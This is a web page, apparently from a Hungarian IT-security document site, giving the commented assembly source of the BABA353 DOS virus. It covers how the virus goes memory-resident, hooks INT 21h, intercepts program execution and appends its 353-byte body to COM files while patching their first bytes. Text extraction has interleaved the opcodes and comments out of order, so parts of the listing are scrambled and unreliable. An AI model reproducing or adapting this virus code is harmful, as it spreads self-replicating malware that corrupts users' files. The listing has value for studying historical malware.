Informatika | Informatikai biztonság » A BABA353 vírus forráskódja

BABA353 Vírus 0100 E8E503 CALL 04E8 0103 0F0000 SLDT [BX+SI] 04E8 5E 04E9 E80000 POP ;Call the virus SI ; CALL 04EC ; 04EC 5E POP SI ; SI=Virus entry point 04ED 1E PUSH DS 04EE 06 PUSH ES 04EF 56 PUSH SI 04F0 8CC8 MOV AX,CS ; 04F2 8EC0 MOV ES,AX ; ES=CS 04F4 8ED0 MOV DS,AX ; DS=CS 04F6 BF0001 MOV DI,0100 ; Restore original first 04F9 81C64601 ADD SI,0146 ; 4 bytes of the infected 04FD B90400 MOV CX,0004 ; file ; save registers ; ; 0500 FC CLD 0501 F3A4 REP MOVSB 0503 5E POP 0504 B8BABA 0507 CD21 0509 3DCCFA ; SI MOV INT 21 CMP ; ; Check, if the INT 21 AX,BABA ; is hooked by the ; virus AX,FACC ; 050C 7503 JNE 0511 ; Jump if not 050E EB4E JMP 055E ; Exit if yes 0510 90 NOP 0511 07 POP 0512 06 PUSH ES 0513 8CC0 MOV 0515 48 ; ES DEC 0516 8EC0 ; Not resident ; AX,ES ; AX MOV ; ES=Pointer to MCB ES,AX ; 0518 26A10300 MOV AX,ES:[0003] 051C 2D1800 SUB 051F 26A30300 MOV ES:[0003],AX 0523

268B1E0100 MOV BX,ES:[0001] AX,0018 ; Decrease the program's ; memory by 384 bytes ; ; Get the program's 0528 03D8 ADD BX,AX ; segment address 052A 8EC3 MOV ES,BX ; ES=Virus Segment ; address 052C 1E PUSH DS 052D 33C0 XOR AX,AX ; 052F 8ED8 MOV DS,AX ; DS=0000 0531 A18400 MOV AX,[0084] 0534 2E89844201 0539 A18600 MOV MOV 053C 2E89844401 0541 1F POP MOV DS ; ; CS:[SI+0142],AX AX,[0086] ; INT 21 address to CS:[SI+0144],AX ; ; Save the original ; the JUMP instruction 0542 33FF XOR 0544 56 PUSH SI 0545 83EE04 DI,DI SUB ; DI=0000 ; Save virus entry point SI,0004 ; SI=point to the start ; of the virus code 0548 B96101 MOV CX,0161 054B F3A4 REP MOVSB ; CX=Virus code size ; Copy the virus body ; after the program 054D 5E POP SI ; restore register 054E 1E PUSH DS 054F 33C0 XOR AX,AX ; 0551 8ED8 MOV DS,AX ; DS=0000 0553 C70684008300 MOV 0559 8C068600 MOV ; Save data segment WORD PTR [0084],0083 [0086],ES ; Set

the new INT 21 ; address 055D 1F POP DS ; Restore registers 055E 07 POP ES ; 055F 1F POP DS ; 0560 BE0001 0563 56 MOV PUSH SI SI,0100 ; Save 0100 to jump at ; 0564 33C0 XOR AX,AX ; AX=0000 0566 33DB XOR BX,BX ; BX=0000 0568 33FF XOR DI,DI 056A C3 RET ; DI=0000 ; Execute original ; program ;* ; ; NEW INT 21 ENTRY POINT ; ;* 0083 9C PUSHF ; Save flags 0084 50 PUSH AX ; Save registers 0085 53 PUSH DS ; 0086 1E PUSH DS ; 0087 3DBABA CMP AX,BABA ; Called by the virus ? 008A 7508 JNE 0094 ; Jump if not 008C 1F POP DS ; Restore registers 008D 5B POP BX ; 008E 58 POP AX ; 008F 9D POPF 0090 B8CCFA MOV ; Restore flags AX,FACC ; Set AX to indicate that ; the virus is resident 0093 CF IRET ; Exit interrupt 0094 51 PUSH CX ; Save CX 0095 8BC8 MOV CX,AX ; 0097 86CD XCHG CH,CL ; 0099 80F14B XOR ; execute program? CL,4B 009C 59 POP CX ; Restore CX 009D 7403 JE 00A2 ; Jump if yes 009F E99F00 JMP

0149 00A2 8BDA MOV BX,DX 00A4 803F00 CMP BYTE PTR [BX],00 ; Search for the end 00A7 7403 JE 00AC 00A9 43 INC BX ; Exit if not ; BX=File name offset ; Jump if found ; 00AA EBF8 JMP 00A4 00AC 83EB0B SUB BX,000B ES ; Back if not ; Move back 11 bytes 00AF 06 PUSH ; Save ES 00B0 8CC8 MOV AX,CS ; 00B2 8EC0 MOV ES,AX ; ES=CS 00B4 B90B00 MOV CX,000B ; Counter = 11 bytes 00B7 BF5401 MOV DI,0154 ; Check if the running 00BA 8A07 MOV AL,[BX] ; program is the 00BC 263A05 CMP AL,ES:[DI] ; COMMAND.COM 00BF 750C JNE 00CD 00C1 43 INC BX 00C2 47 INC DI 00C3 49 DEC CX 00C4 83F900 CMP 00C7 75F1 JNE ; Jump if not the ; COMMAND.COM ; ; CX,0000 ; 00BA ; Jump back to check ; the next character 00C9 07 00CA EB75 POP ES JMP ; Restore ES 0141 ; Exit if yes 00CC 90 NOP ; 00CD 07 POP 00CE 50 PUSH AX ; Save registers 00CF 53 PUSH BX ; 00D0 51 PUSH CX ; 00D1 52 PUSH DX ; ES 00D2 B8023D MOV 00D5 CD21 INT ;

Restore ES AX,3D02 21 ; Open file ; 00D7 7261 JB 013A ; Exit if error 00D9 8BD8 MOV BX,AX ; BX=file handle 00DB B90400 MOV CX,0004 ; Counter=4 bytes 00DE 8CC8 MOV AX,CS ; 00E0 8ED8 MOV DS,AX ; DS=CS 00E2 B43F MOV AH,3F ; Save the first 00E4 BA4A01 MOV DX,014A 00E7 CD21 INT 21 ; target file 00E9 724F JB 013A ; Exit if error 00FB 2E813E4A014D5A CMP ; 4 bytes of the CS:WORD PTR [014A],5A4D ; EXE file ? 00F2 7442 JE 00F4 33C9 XOR CX,CX ; CX=0000 00F6 33D2 XOR DX,DX ; DX=0000 00F8 B80242 MOV AX,4202 00FB CD21 INT 00FD 3DE803 CMP 0100 7C34 0102 3D00FA 0105 772F 0136 JL 21 AX,03E8 0136 CMP JA ; Exit if yes AX,FA00 0136 ; Move file pointer to ; the end of file ; Smaller than 1000 ? ; Exit if yes ; Larger than 64000 ? ; Exit if yes 0107 2D0300 SUB 010A 2EA34F01 AX,0003 MOV ; Check if the file is CS:[014F],AX 010E 2E803E4D010F CMP ; already infected CS:BYTE PTR [014D],0F 0114 7420 JE 0136 ; Exit if yes

0116 8CC8 MOV AX,CS ; 0118 8ED8 MOV DS,AX ; DS=CS 011A B440 MOV AH,40 ; Set write mode 011C 33D2 XOR DX,DX ; DX=0000 011E B96101 MOV CX,0161 ; Counter = 353 bytes 0121 CD21 INT 21 ; Append the virus to ; the file 0123 33C9 XOR CX,CX ; CX=0000 0125 33D2 XOR DX,DX ; DX=0000 0127 B80042 MOV AX,4200 012A CD21 INT 21 012C B440 MOV AH,40 ; Set file pointer to ; the beginning of file 012E BA4E01 MOV DX,014E 0131 B90400 MOV CX,0004 0134 CD21 INT 21 0136 B43E MOV AH,3E 0138 CD21 INT 21 ; Write the first 4 bytes ; of the infected file ; ; ; Close file ; 013A 5A POP DX ; Restore registers 013B 59 POP CX ; 013C 5B POP BX ; 013D 58 POP AX ; 013E EB01 JMP 0141 ; jump to exit 0130 90 NOP 0141 1F POP DS ; Restore registers 0142 5B POP BX ; 0143 58 POP AX ; 0144 9D POPF 0145 EAEB401900 ; JMP ; Restore flags 0019:40EB ; INT 21 ; Jump to the original